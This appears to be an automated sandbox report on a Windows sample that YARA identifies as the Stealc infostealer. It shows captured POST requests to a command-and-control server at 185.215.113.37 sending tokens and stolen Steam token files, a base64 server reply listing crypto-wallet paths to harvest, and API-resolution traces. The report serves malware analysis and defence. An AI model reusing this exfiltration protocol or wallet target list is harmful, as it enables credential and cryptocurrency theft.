mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Oct 4, 2024 05:45:11.706552982 CEST	202	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBKJJJDHDGDAAKECAKJD Host: 185.215.113.37 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Oct 4, 2024 05:45:12.611165047 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 04 Oct 2024 03:45:11 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=84 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 4, 2024 05:45:12.652079105 CEST	468	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFCBKFHJJJKKFHIDAAKF Host: 185.215.113.37 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 48 49 44 41 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 61 61 36 31 64 35 33 38 37 32 38 62 39 38 61 38 66 33 39 37 65 38 66 62 37 34 34 62 32 65 35 64 65 33 65 39 33 34 36 63 37 32 65 62 38 38 62 35 62 66 66 32 63 65 61 39 30 35 63 33 32 35 61 35 30 34 63 65 39 39 39 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 48 49 44 41 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 48 49 44 41 41 4b 46 2d 2d 0d 0a Data Ascii: ------AFCBKFHJJJKKFHIDAAKFContent-Disposition: form-data; name="token"8aa61d538728b98a8f397e8fb744b2e5de3e9346c72eb88b5bff2cea905c325a504ce999------AFCBKFHJJJKKFHIDAAKFContent-Disposition: form-data; name="message"wallets------AFCBKFHJJJKKFHIDAAKF--
Oct 4, 2024 05:45:12.882684946 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 04 Oct 2024 03:45:12 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=83 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Oct 4, 2024 05:45:12.885211945 CEST	466	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGDBFBFCBFBKECAAKJKF Host: 185.215.113.37 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 47 44 42 46 42 46 43 42 46 42 4b 45 43 41 41 4b 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 61 61 36 31 64 35 33 38 37 32 38 62 39 38 61 38 66 33 39 37 65 38 66 62 37 34 34 62 32 65 35 64 65 33 65 39 33 34 36 63 37 32 65 62 38 38 62 35 62 66 66 32 63 65 61 39 30 35 63 33 32 35 61 35 30 34 63 65 39 39 39 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 42 46 42 46 43 42 46 42 4b 45 43 41 41 4b 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 42 46 42 46 43 42 46 42 4b 45 43 41 41 4b 4a 4b 46 2d 2d 0d 0a Data Ascii: ------DGDBFBFCBFBKECAAKJKFContent-Disposition: form-data; name="token"8aa61d538728b98a8f397e8fb744b2e5de3e9346c72eb88b5bff2cea905c325a504ce999------DGDBFBFCBFBKECAAKJKFContent-Disposition: form-data; name="message"files------DGDBFBFCBFBKECAAKJKF--
Oct 4, 2024 05:45:13.116899014 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 04 Oct 2024 03:45:13 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=82 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 4, 2024 05:45:13.131613016 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFHDGDGIIDGCFIDHDHDH Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 46 48 44 47 44 47 49 49 44 47 43 46 49 44 48 44 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 61 61 36 31 64 35 33 38 37 32 38 62 39 38 61 38 66 33 39 37 65 38 66 62 37 34 34 62 32 65 35 64 65 33 65 39 33 34 36 63 37 32 65 62 38 38 62 35 62 66 66 32 63 65 61 39 30 35 63 33 32 35 61 35 30 34 63 65 39 39 39 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 47 44 47 49 49 44 47 43 46 49 44 48 44 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 47 44 47 49 49 44 47 43 46 49 44 48 44 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------AFHDGDGIIDGCFIDHDHDHContent-Disposition: form-data; name="token"8aa61d538728b98a8f397e8fb744b2e5de3e9346c72eb88b5bff2cea905c325a504ce999------AFHDGDGIIDGCFIDHDHDHContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------AFHDGDGIIDGCFIDHDHDHContent-Disposition: form-data; name="file"------AFHDGDGIIDGCFIDHDHDH--
Oct 4, 2024 05:45:13.855479956 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 04 Oct 2024 03:45:13 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=81 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 4, 2024 05:45:13.880134106 CEST	473	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGDBFBFCBFBKECAAKJKF Host: 185.215.113.37 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 47 44 42 46 42 46 43 42 46 42 4b 45 43 41 41 4b 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 61 61 36 31 64 35 33 38 37 32 38 62 39 38 61 38 66 33 39 37 65 38 66 62 37 34 34 62 32 65 35 64 65 33 65 39 33 34 36 63 37 32 65 62 38 38 62 35 62 66 66 32 63 65 61 39 30 35 63 33 32 35 61 35 30 34 63 65 39 39 39 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 42 46 42 46 43 42 46 42 4b 45 43 41 41 4b 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 42 46 42 46 43 42 46 42 4b 45 43 41 41 4b 4a 4b 46 2d 2d 0d 0a Data Ascii: ------DGDBFBFCBFBKECAAKJKFContent-Disposition: form-data; name="token"8aa61d538728b98a8f397e8fb744b2e5de3e9346c72eb88b5bff2cea905c325a504ce999------DGDBFBFCBFBKECAAKJKFContent-Disposition: form-data; name="message"ybncbhylepme------DGDBFBFCBFBKECAAKJKF--
Oct 4, 2024 05:45:14.113861084 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 04 Oct 2024 03:45:13 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 5733 Keep-Alive: timeout=5, max=80 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 2a 2e 70 6c 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 61 72 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 62 72 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 65 63 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 65 67 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 69 6e 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 70 74 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 61 63 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 62 64 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f [TRUNCATED] Data Ascii: .pl<br> 1.google.com.google.com<br>.ar<br> 1.google.com.google.com<br>.br<br> 1.google.com.google.com<br>.ec<br> 1.google.com.google.com<br>.eg<br> 1.google.com.google.com<br>.in<br> 1.google.com.google.com<br>.pt<br> 1.google.com.google.com<br>.ac<br> 1.google.com.google.com<br>.bd<br> 1.google.com.google.com<br>.zm<br> 1.google.com.google.com<br>.ve<br> 1.google.com.google.com<br>.pk<br> 1.google.com.google.com<br>.rs<br> 1.google.com.google.com<br>.ph<br> 1.google.com.google.com<br>.mx<br> 1.google.com.google.com<br>.in<br> 1.google.com.google.com<br>.th<br> 1.google.com.google.com<br>.id<br> 1.google.com.google.com<br>.tr<br> 1.google.com.google.com<br>.cz<br> 1.google.com.google.com<br>.io<br> 1.google.com.google.com<br>.dz<br> 1.google.com.google.com<br>.de<br> 1.google.com.google.com<br>.kr<br> 1.google.com.google.com<br>.ma<br> 1.google.com.google.com<br>.jp<br> 1.google.com.google.com
Oct 4, 2024 05:45:14.115557909 CEST	473	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBGHCGCAEBFIJKFIDBGH Host: 185.215.113.37 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 42 47 48 43 47 43 41 45 42 46 49 4a 4b 46 49 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 61 61 36 31 64 35 33 38 37 32 38 62 39 38 61 38 66 33 39 37 65 38 66 62 37 34 34 62 32 65 35 64 65 33 65 39 33 34 36 63 37 32 65 62 38 38 62 35 62 66 66 32 63 65 61 39 30 35 63 33 32 35 61 35 30 34 63 65 39 39 39 0d 0a 2d 2d 2d 2d 2d 2d 46 42 47 48 43 47 43 41 45 42 46 49 4a 4b 46 49 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 46 42 47 48 43 47 43 41 45 42 46 49 4a 4b 46 49 44 42 47 48 2d 2d 0d 0a Data Ascii: ------FBGHCGCAEBFIJKFIDBGHContent-Disposition: form-data; name="token"8aa61d538728b98a8f397e8fb744b2e5de3e9346c72eb88b5bff2cea905c325a504ce999------FBGHCGCAEBFIJKFIDBGHContent-Disposition: form-data; name="message"wkkjqaiaxkhb------FBGHCGCAEBFIJKFIDBGH--
Oct 4, 2024 05:45:14.839293957 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 04 Oct 2024 03:45:14 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=79 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Target ID:	0
Start time:	23:44:52
Start date:	03/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x6e0000
File size:	1'793'536 bytes
MD5 hash:	4AEAFAF620AFE668762DCE203569036F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2250375452.000000000163E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2022166427.0000000005250000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2249130927.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	5.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4%
Total number of Nodes:	2000
Total number of Limit Nodes:	37

Executed Functions

Function 006F9860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,01650630), ref: 006F98A1
GetProcAddress.KERNEL32(75900000,01650840), ref: 006F98BA
GetProcAddress.KERNEL32(75900000,01650600), ref: 006F98D2
GetProcAddress.KERNEL32(75900000,016505D0), ref: 006F98EA
GetProcAddress.KERNEL32(75900000,01650798), ref: 006F9903
GetProcAddress.KERNEL32(75900000,016589B0), ref: 006F991B
GetProcAddress.KERNEL32(75900000,01646540), ref: 006F9933
GetProcAddress.KERNEL32(75900000,01646620), ref: 006F994C
GetProcAddress.KERNEL32(75900000,016505E8), ref: 006F9964
GetProcAddress.KERNEL32(75900000,01650618), ref: 006F997C
GetProcAddress.KERNEL32(75900000,01650660), ref: 006F9995
GetProcAddress.KERNEL32(75900000,016507F8), ref: 006F99AD
GetProcAddress.KERNEL32(75900000,01646320), ref: 006F99C5
GetProcAddress.KERNEL32(75900000,016506D8), ref: 006F99DE
GetProcAddress.KERNEL32(75900000,016506F0), ref: 006F99F6
GetProcAddress.KERNEL32(75900000,01646300), ref: 006F9A0E
GetProcAddress.KERNEL32(75900000,01650720), ref: 006F9A27
GetProcAddress.KERNEL32(75900000,01650918), ref: 006F9A3F
GetProcAddress.KERNEL32(75900000,01646280), ref: 006F9A57
GetProcAddress.KERNEL32(75900000,01650900), ref: 006F9A70
GetProcAddress.KERNEL32(75900000,01646640), ref: 006F9A88
LoadLibraryA.KERNEL32(016508A0,?,006F6A00), ref: 006F9A9A
LoadLibraryA.KERNEL32(016508B8,?,006F6A00), ref: 006F9AAB
LoadLibraryA.KERNEL32(016508D0,?,006F6A00), ref: 006F9ABD
LoadLibraryA.KERNEL32(01650858,?,006F6A00), ref: 006F9ACF
LoadLibraryA.KERNEL32(016508E8,?,006F6A00), ref: 006F9AE0
GetProcAddress.KERNEL32(75070000,01650870), ref: 006F9B02
GetProcAddress.KERNEL32(75FD0000,01650888), ref: 006F9B23
GetProcAddress.KERNEL32(75FD0000,01658D18), ref: 006F9B3B
GetProcAddress.KERNEL32(75A50000,01658C88), ref: 006F9B5D
GetProcAddress.KERNEL32(74E50000,01646520), ref: 006F9B7E
GetProcAddress.KERNEL32(76E80000,016589C0), ref: 006F9B9F
GetProcAddress.KERNEL32(76E80000,NtQueryInformationProcess), ref: 006F9BB6

Strings

NtQueryInformationProcess, xrefs: 006F9BAA

Memory Dump Source

Source File: 00000000.00000002.2249130927.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2249105615.00000000006E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000765000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000076F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000791000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000AB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000B8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249778424.0000000000BCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249943231.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249959717.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: 460bc9e01b2e66468e453cf7428772a0e28c2809315e9aa6000d628d3a5af108
Instruction ID: 5124dd3c92a5b6cf45b884c065852ddc5764ffd59780b054b1d0db2ce371bd58
Opcode Fuzzy Hash: 460bc9e01b2e66468e453cf7428772a0e28c2809315e9aa6000d628d3a5af108
Instruction Fuzzy Hash: 5EA14DB792C2409FD364EFA8FE88A6637F9F74C301704452AE605C3264D7399843EB5A

Function 006E45C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 006E460F
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 006E479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006E4734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006E4729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006E45C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006E4617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006E477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006E4643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006E4657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006E4678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006E46B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006E45E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006E466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006E471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006E45F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006E45D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006E462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006E4683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006E473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006E46C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006E4765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006E4770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006E46CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006E4662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006E45DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006E4638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006E4622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006E475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006E46AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006E474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006E4713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 006E46D8

Memory Dump Source

Source File: 00000000.00000002.2249130927.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

